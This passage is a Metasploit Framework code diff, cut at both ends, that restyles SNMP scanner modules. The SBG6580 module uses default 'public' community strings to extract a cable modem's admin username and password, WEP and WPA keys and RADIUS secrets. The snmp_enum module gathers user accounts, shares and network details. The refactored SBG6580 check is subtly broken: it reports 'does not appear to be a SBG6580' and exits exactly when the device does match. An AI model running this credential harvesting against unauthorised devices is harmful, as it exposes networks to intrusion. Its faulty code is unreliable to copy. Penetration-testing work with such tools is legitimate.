loot. + loot_name = 'netopia_wifi' + loot_type = 'text/plain' + loot_filename = 'netopia_wifi.txt' + loot_desc = 'Netopia WiFi configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc) + print_good("WiFi Data saved: #{p}") + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::SNMP::RequestTimeout => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 458ebd8650..af065c498c 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -3,224 +3,234 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) - super(update_info(info, - 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', - 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola - SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username - and password for the device user interface as well as wireless network keys - and information. - The default community used is "public".', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', + 'Description' => %q{ + This module allows SNMP enumeration of the ARRIS / Motorola + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username + and password for the device user interface as well as wireless network keys + and information. + The default community used is "public". + }, + 'References' => [ [ 'URL', 'https://seclists.org/fulldisclosure/2014/May/79' ], [ 'URL', 'https://web.archive.org/web/20150206092553/http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], [ 'OSVDB', '110555' ] ], - 'Author' => 'Matthew Kienow ', - 'License' => MSF_LICENSE - )) + 'Author' => 'Matthew Kienow ', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) # change SNMP version option to match device specification register_options( [ OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) - ]) + ] + ) end def run_host(ip) + snmp = connect_snmp - begin - snmp = connect_snmp + # represents the order of the output data fields + fields_order = [ + 'Host IP', 'Username', 'Password', 'SSID', '802.11 Band', + 'Network Authentication Mode', 'WEP Passphrase', 'WEP Encryption', + 'WEP Key 1', 'WEP Key 2', 'WEP Key 3', 'WEP Key 4', + 'Current Network Key', 'WPA Encryption', 'WPA Pre-Shared Key (PSK)', + 'RADIUS Server', 'RADIUS Port', 'RADIUS Key' + ] - # represents the order of the output data fields - fields_order = [ - "Host IP", "Username", "Password", "SSID", "802.11 Band", - "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", - "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", - "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", - "RADIUS Server", "RADIUS Port", "RADIUS Key" - ] + output_data = { 'Host IP' => ip } - output_data = {"Host IP" => ip} + sys_descr = snmp.get_value('sysDescr.0') + if is_valid_snmp_value(sys_descr) && sys_descr.to_s =~ /SBG6580/ + print_error("#{ip} does not appear to be a SBG6580.") + return + end - sys_descr = snmp.get_value('sysDescr.0') - if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/ - # print connected status after the first query so if there are - # any timeout or connectivity errors; the code would already - # have jumped to error handling where the error status is - # already being displayed. - print_good("#{ip}, Connected.") + # print connected status after the first query so if there are + # any timeout or connectivity errors; the code would already + # have jumped to error handling where the error status is + # already being displayed. + print_good("#{ip}, Connected.") - # attempt to get the username and password for the device user interface - # using the CableHome cabhPsDevMib MIB module which defines the - # basic management objects for the Portal Services (PS) logical element - # of a CableHome compliant Residential Gateway device - device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') - if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1 - # manufacturerLocal(1) - indicates Portal Services is using the vendor - # web user interface shipped with the device - device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') - if is_valid_snmp_value(device_ui_username) - output_data["Username"] = device_ui_username.to_s - end - - device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') - if is_valid_snmp_value(device_ui_password) - output_data["Password"] = device_ui_password.to_s - end - end - - wifi_ifindex = get_primary_wifi_ifindex(snmp) - if wifi_ifindex < 1 - print_status("Primary WiFi is disabled on the device") - end - - ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") - if is_valid_snmp_value(ssid) - output_data["SSID"] = ssid.to_s - end - - wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') - if is_valid_snmp_value(wireless_band) - output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i) - end - - network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") - if is_valid_snmp_value(network_auth_mode) - network_auth_mode = network_auth_mode.to_i - network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) - output_data["Network Authentication Mode"] = network_auth_mode_name - end - - case network_auth_mode - when 1, 6 - # WEP, WEP 802.1x Authentication - wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") - if is_valid_snmp_value(wep_passphrase) - output_data["WEP Passphrase"] = wep_passphrase.to_s - end - - wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") - if is_valid_snmp_value(wep_encryption) - wep_encryption = wep_encryption.to_i - else - wep_encryption = -1 - end - - wep_encryption_name = "Unknown" - wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil - # get appropriate WEP keys based on wep_encryption setting - if wep_encryption == 1 - wep_encryption_name = "64-bit" - wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") - wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") - wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") - wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") - elsif wep_encryption == 2 - wep_encryption_name = "128-bit" - wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") - wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") - wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") - wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") - end - - output_data["WEP Encryption"] = wep_encryption_name - if is_valid_snmp_value(wep_key1) - output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] - end - if is_valid_snmp_value(wep_key2) - output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] - end - if is_valid_snmp_value(wep_key3) - output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] - end - if is_valid_snmp_value(wep_key4) - output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] - end - - # get current network key - current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") - if is_valid_snmp_value(current_key) - output_data["Current Network Key"] = current_key.to_s - end - - if network_auth_mode == 6 - get_radius_info(snmp, wifi_ifindex, output_data) - end - - when 2, 3, 4, 5, 7, 8 - # process all flavors of WPA - wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") - if is_valid_snmp_value(wpa_encryption) - output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i) - end - - wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") - if is_valid_snmp_value(wpa_psk) - output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s - end - - case network_auth_mode - when 4, 5, 8 - get_radius_info(snmp, wifi_ifindex, output_data) - end - end - - # output - print_line("") - print_status("Device information:\n") - line = "" - width = 30 # name field width - - fields_order.each {|k| - if not output_data.has_key?(k) - next - end - - v = output_data[k] - if (v.nil? or v.empty? or v =~ /Null/) - v = '-' - end - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'].to_i, - :type => "snmp.#{k}", - :data => { :data => v } - ) - - line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) - } - - print_line(line) - else - print_error("#{ip} does not appear to be a SBG6580.") + # attempt to get the username and password for the device user interface + # using the CableHome cabhPsDevMib MIB module which defines the + # basic management objects for the Portal Services (PS) logical element + # of a CableHome compliant Residential Gateway device + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') + if is_valid_snmp_value(device_ui_selection) && (device_ui_selection.to_i == 1) + # manufacturerLocal(1) - indicates Portal Services is using the vendor + # web user interface shipped with the device + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + if is_valid_snmp_value(device_ui_username) + output_data['Username'] = device_ui_username.to_s end - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::InvalidIpAddress - print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - elog(e) - ensure - disconnect_snmp + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + if is_valid_snmp_value(device_ui_password) + output_data['Password'] = device_ui_password.to_s + end end + + wifi_ifindex = get_primary_wifi_ifindex(snmp) + if wifi_ifindex < 1 + print_status('Primary WiFi is disabled on the device') + end + + ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(ssid) + output_data['SSID'] = ssid.to_s + end + + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') + if is_valid_snmp_value(wireless_band) + output_data['802.11 Band'] = get_wireless_band_name(wireless_band.to_i) + end + + network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") + if is_valid_snmp_value(network_auth_mode) + network_auth_mode = network_auth_mode.to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data['Network Authentication Mode'] = network_auth_mode_name + end + + case network_auth_mode + when 1, 6 + # WEP, WEP 802.1x Authentication + wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(wep_passphrase) + output_data['WEP Passphrase'] = wep_passphrase.to_s + end + + wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wep_encryption) + wep_encryption = wep_encryption.to_i + else + wep_encryption = -1 + end + + wep_encryption_name = 'Unknown' + wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil + # get appropriate WEP keys based on wep_encryption setting + if wep_encryption == 1 + wep_encryption_name = '64-bit' + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") + elsif wep_encryption == 2 + wep_encryption_name = '128-bit' + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") + end + + output_data['WEP Encryption'] = wep_encryption_name + if is_valid_snmp_value(wep_key1) + output_data['WEP Key 1'] = wep_key1.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key2) + output_data['WEP Key 2'] = wep_key2.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key3) + output_data['WEP Key 3'] = wep_key3.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key4) + output_data['WEP Key 4'] = wep_key4.unpack('H*')[0] + end + + # get current network key + current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(current_key) + output_data['Current Network Key'] = current_key.to_s + end + + if network_auth_mode == 6 + get_radius_info(snmp, wifi_ifindex, output_data) + end + + when 2, 3, 4, 5, 7, 8 + # process all flavors of WPA + wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_encryption) + output_data['WPA Encryption'] = get_wpa_encryption_name(wpa_encryption.to_i) + end + + wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_psk) + output_data['WPA Pre-Shared Key (PSK)'] = wpa_psk.to_s + end + + case network_auth_mode + when 4, 5, 8 + get_radius_info(snmp, wifi_ifindex, output_data) + end + end + + # output + print_line('') + print_status("Device information:\n") + line = '' + width = 30 # name field width + + fields_order.each do |k| + if !output_data.key?(k) + next + end + + v = output_data[k] + if v.nil? || v.empty? || v =~ /Null/ + v = '-' + end + + report_note( + host: ip, + proto: 'udp', + sname: 'snmp', + port: datastore['RPORT'].to_i, + type: "snmp.#{k}", + data: { data: v } + ) + + line << k.to_s + line << ' ' * [0, width - k.length].max + line << ": #{v}\n" + end + + print_line(line) + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e}") + elog(e) + ensure + disconnect_snmp end def get_primary_wifi_ifindex(snmp) @@ -228,83 +238,84 @@ class MetasploitModule < Msf::Auxiliary # management information for a particular interface. Locate the first # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up). wifi_ifindex = 0 - ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"] - snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus| - if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1) - wifi_ifindex = ifIndex.value.to_i + if_table_columns = ['ifIndex', 'ifDescr', 'ifType', 'ifAdminStatus'] + snmp.walk(if_table_columns) do |if_index, _if_descr, if_type, if_admin_status| + if (wifi_ifindex < 1) && (if_type.value == 71) && (if_admin_status.value == 1) + wifi_ifindex = if_index.value.to_i end end wifi_ifindex end def is_valid_snmp_value(value) - if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/ + if value.nil? || value.to_s =~ /Null/ || value.to_s =~ /^noSuch/ return false end + return true end def get_network_auth_mode_name(network_auth_mode) case network_auth_mode when 0 - "Open Security" + 'Open Security' when 1 - "WEP" + 'WEP' when 2 - "WPA-PSK" + 'WPA-PSK' when 3 - "WPA2-PSK" + 'WPA2-PSK' when 4 - "WPA RADIUS" + 'WPA RADIUS' when 5 - "WPA2 RADIUS" + 'WPA2 RADIUS' when 6 - "WEP 802.1x Authentication" + 'WEP 802.1x Authentication' when 7 - "WPA-PSK and WPA2-PSK" + 'WPA-PSK and WPA2-PSK' when 8 - "WPA and WPA2 RADIUS" + 'WPA and WPA2 RADIUS' else - "Unknown" + 'Unknown' end end def get_wireless_band_name(wireless_band) case wireless_band when 1 - "2.4 Ghz" + '2.4 Ghz' when 2 - "5 Ghz" + '5 Ghz' else - "Unknown" + 'Unknown' end end def get_wpa_encryption_name(wpa_encryption) case wpa_encryption when 2 - "AES" + 'AES' when 3 - "TKIP+AES" + 'TKIP+AES' else - "Unknown" + 'Unknown' end end def get_radius_info(snmp, wifi_ifindex, output_data) radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}") if is_valid_snmp_value(radius_server) - output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") + output_data['RADIUS Server'] = radius_server.unpack('C4').join('.') end radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}") if is_valid_snmp_value(radius_port) - output_data["RADIUS Port"] = radius_port.to_s.strip + output_data['RADIUS Port'] = radius_port.to_s.strip end radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}") if is_valid_snmp_value(radius_key) - output_data["RADIUS Key"] = radius_key.to_s + output_data['RADIUS Key'] = radius_key.to_s end end end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 6bdff54eaa..2d6b116ce9 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -3,897 +3,903 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) - super(update_info(info, - 'Name' => 'SNMP Enumeration Module', - 'Description' => 'This module allows enumeration of any devices with SNMP - protocol support. It supports hardware, software, and network information. - The default community used is "public".', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'SNMP Enumeration Module', + 'Description' => %q{ + This module allows enumeration of any devices with SNMP + protocol support. It supports hardware, software, and network information. + The default community used is "public". + }, + 'References' => [ [ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ], [ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ], [ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ], [ 'CVE', '1999-0508' ], # Weak password [ 'CVE', '1999-0517' ], - [ 'CVE', '1999-0516' ] ], - 'Author' => 'Matteo Cantoni ', - 'License' => MSF_LICENSE - )) - end - - def run_host(ip) - - begin - snmp = connect_snmp - - fields_order = [ - "Host IP", "Hostname", "Description", "Contact", - "Location", "Uptime snmp", "Uptime system", - "System date", "domain", "User accounts", - "Network information", "Network interfaces", - "Network IP", "Routing information", - "TCP connections and listening ports", "Listening UDP ports", - "Network services", "Share", "IIS server information", - "Storage information", "File system information", - "Device information", "Software components", - "Processes" - ] - - output_data = {} - output_data = {"Host IP"=>ip} - - sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s - output_data["Hostname"] = sysName.strip - - # print connected status after the first query so if there are - # any timeout or connectivity errors; the code would already - # have jumped to error handling where the error status is - # already being displayed. - print_good("#{ip}, Connected.") - - sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s - sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') - output_data["Description"] = sysDesc.strip - - sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s - output_data["Contact"] = sysContact.strip - - sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s - output_data["Location"] = sysLocation.strip - - sysUpTimeInstance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s - output_data["Uptime system"] = sysUpTimeInstance.strip - - hrSystemUptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s - output_data["Uptime snmp"] = hrSystemUptime.strip - hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/ - - year = month = day = hour = minutes = seconds = tenths = 0 - - systemDate = snmp.get_value('1.3.6.1.2.1.25.1.2.0') - str = systemDate.to_s - if (str.empty? or str =~ /Null/ or str =~ /^noSuch/) - output_data["System date"] = '-' - else - - # RFC 2579 - Textual Conventions for SMIv2 - # http://www.faqs.org/rfcs/rfc2579.html - - systemDate = systemDate.unpack('C*') - - year = systemDate[0] * 256 + systemDate[1] - month = systemDate[2] || 0 - day = systemDate[3] || 0 - hour = systemDate[4] || 0 - minutes = systemDate[5] || 0 - seconds = systemDate[6] || 0 - tenths = systemDate[7] || 0 - output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths) - end - - if (sysDesc =~ /Windows/) - domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s - - output_data["Domain"] = domPrimaryDomain.strip - - users = [] - - snmp.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry| - users.push([[user.value]]) - end - - if not users.empty? - output_data["User accounts"] = users - end - end - - network_information = {} - - ipForwarding = snmp.get_value('1.3.6.1.2.1.4.1.0') - - if ipForwarding == 0 || ipForwarding == 2 - ipForwarding = "no" - network_information["IP forwarding enabled"] = ipForwarding - elsif ipForwarding == 1 - ipForwarding = "yes" - network_information["IP forwarding enabled"] = ipForwarding - end - - ipDefaultTTL = snmp.get_value('1.3.6.1.2.1.4.2.0') - if ipDefaultTTL.to_s !~ /Null/ - network_information["Default TTL"] = ipDefaultTTL - end - - tcpInSegs = snmp.get_value('1.3.6.1.2.1.6.10.0') - if tcpInSegs.to_s !~ /Null/ - network_information["TCP segments received"] = tcpInSegs - end - - tcpOutSegs = snmp.get_value('1.3.6.1.2.1.6.11.0') - if tcpOutSegs.to_s !~ /Null/ - network_information["TCP segments sent"] = tcpOutSegs - end - - tcpRetransSegs = snmp.get_value('1.3.6.1.2.1.6.12.0') - if tcpRetransSegs.to_s !~ /Null/ - network_information["TCP segments retrans"] = tcpRetransSegs - end - - ipInReceives = snmp.get_value('1.3.6.1.2.1.4.3.0') - if ipInReceives.to_s !~ /Null/ - network_information["Input datagrams"] = ipInReceives - end - - ipInDelivers = snmp.get_value('1.3.6.1.2.1.4.9.0') - if ipInDelivers.to_s !~ /Null/ - network_information["Delivered datagrams"]=ipInDelivers - end - - ipOutRequests = snmp.get_value('1.3.6.1.2.1.4.10.0') - if ipOutRequests.to_s !~ /Null/ - network_information["Output datagrams"]=ipOutRequests - end - - if not network_information.empty? - output_data["Network information"] = network_information - end - - network_interfaces = [] - - snmp.walk([ - "1.3.6.1.2.1.2.2.1.1", "1.3.6.1.2.1.2.2.1.2", "1.3.6.1.2.1.2.2.1.6", - "1.3.6.1.2.1.2.2.1.3", "1.3.6.1.2.1.2.2.1.4", "1.3.6.1.2.1.2.2.1.5", - "1.3.6.1.2.1.2.2.1.10", "1.3.6.1.2.1.2.2.1.16", "1.3.6.1.2.1.2.2.1.7" - ]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status| - - ifindex = index.value - ifdescr = descr.value - ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack("H2H2H2H2H2H2").join(":") - iftype = type.value - ifmtu = mtu.value - ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000 - ifinoc = inoc.value - ifoutoc = outoc.value - ifstatus = status.value - - case iftype - when 1 - iftype = "other" - when 2 - iftype = "regular1822" - when 3 - iftype = "hdh1822" - when 4 - iftype = "ddn-x25" - when 5 - iftype = "rfc877-x25" - when 6 - iftype = "ethernet-csmacd" - when 7 - iftype = "iso88023-csmacd" - when 8 - iftype = "iso88024-tokenBus" - when 9 - iftype = "iso88025-tokenRing" - when 10 - iftype = "iso88026-man" - when 11 - iftype = "starLan" - when 12 - iftype = "proteon-10Mbit" - when 13 - iftype = "proteon-80Mbit" - when 14 - iftype = "hyperchannel" - when 15 - iftype = "fddi" - when 16 - iftype = "lapb" - when 17 - iftype = "sdlc" - when 18 - iftype = "ds1" - when 19 - iftype = "e1" - when 20 - iftype = "basicISDN" - when 21 - iftype = "primaryISDN" - when 22 - iftype = "propPointToPointSerial" - when 23 - iftype = "ppp" - when 24 - iftype = "softwareLoopback" - when 25 - iftype = "eon" - when 26 - iftype = "ethernet-3Mbit" - when 27 - iftype = "nsip" - when 28 - iftype = "slip" - when 29 - iftype = "ultra" - when 30 - iftype = "ds3" - when 31 - iftype = "sip" - when 32 - iftype = "frame-relay" - else - iftype = "unknown" - end - - case ifstatus - when 1 - ifstatus = "up" - when 2 - ifstatus = "down" - when 3 - ifstatus = "testing" - else - ifstatus = "unknown" - end - - network_interfaces.push({ - "Interface" => "[ #{ifstatus} ] #{ifdescr}", - "Id" => ifindex, - "Mac Address" => ifmac, - "Type" => iftype, - "Speed" => "#{ifspeed} Mbps", - "MTU" => ifmtu, - "In octets" => ifinoc, - "Out octets" => ifoutoc - }) - end - - if not network_interfaces.empty? - output_data["Network interfaces"] = network_interfaces - end - - network_ip = [] - - snmp.walk([ - "1.3.6.1.2.1.4.20.1.2", "1.3.6.1.2.1.4.20.1.1", - "1.3.6.1.2.1.4.20.1.3", "1.3.6.1.2.1.4.20.1.4" - ]) do |ifid,ipaddr,netmask,bcast| - network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value]) - end - - if not network_ip.empty? - output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip - end - - routing = [] - - snmp.walk([ - "1.3.6.1.2.1.4.21.1.1", "1.3.6.1.2.1.4.21.1.7", - "1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3" - ]) do |dest,hop,mask,metric| - if (metric.value.to_s.empty?) - metric.value = '-' - end - routing.push([dest.value, hop.value, mask.value, metric.value]) - end - - if not routing.empty? - output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing - end - - tcp = [] - - snmp.walk([ - "1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4", - "1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1" - ]) do |ladd,lport,radd,rport,state| - - if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/) - ladd = "-" - else - ladd = ladd.value - end - - if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/) - lport = "-" - else - lport = lport.value - end - - if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/) - radd = "-" - else - radd = radd.value - end - - if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/) - rport = "-" - else - rport = rport.value - end - - case state.value - when 1 - state = "closed" - when 2 - state = "listen" - when 3 - state = "synSent" - when 4 - state = "synReceived" - when 5 - state = "established" - when 6 - state = "finWait1" - when 7 - state = "finWait2" - when 8 - state = "closeWait" - when 9 - state = "lastAck" - when 10 - state = "closing" - when 11 - state = "timeWait" - when 12 - state = "deleteTCB" - else - state = "unknown" - end - - tcp.push([ladd, lport, radd, rport, state]) - end - - if not tcp.empty? - output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp - end - - udp = [] - - snmp.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport| - udp.push([ladd.value, lport.value]) - end - - if not udp.empty? - output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp - end - - if (sysDesc =~ /Windows/) - network_services = [] - n = 0 - snmp.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed| - network_services.push([n,name.value]) - n+=1 - end - - if not network_services.empty? - output_data["Network services"] = [["Index","Name"]] + network_services - end - - share = [] - - snmp.walk([ - "1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3" - ]) do |name,path,comment| - share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value}) - end - - if not share.empty? - output_data["Share"] = share - end - - iis = {} - - http_totalBytesSentLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0') - if http_totalBytesSentLowWord.to_s !~ /Null/ - iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord - end - - http_totalBytesReceivedLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0') - if http_totalBytesReceivedLowWord.to_s !~ /Null/ - iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord - end - - http_totalFilesSent = 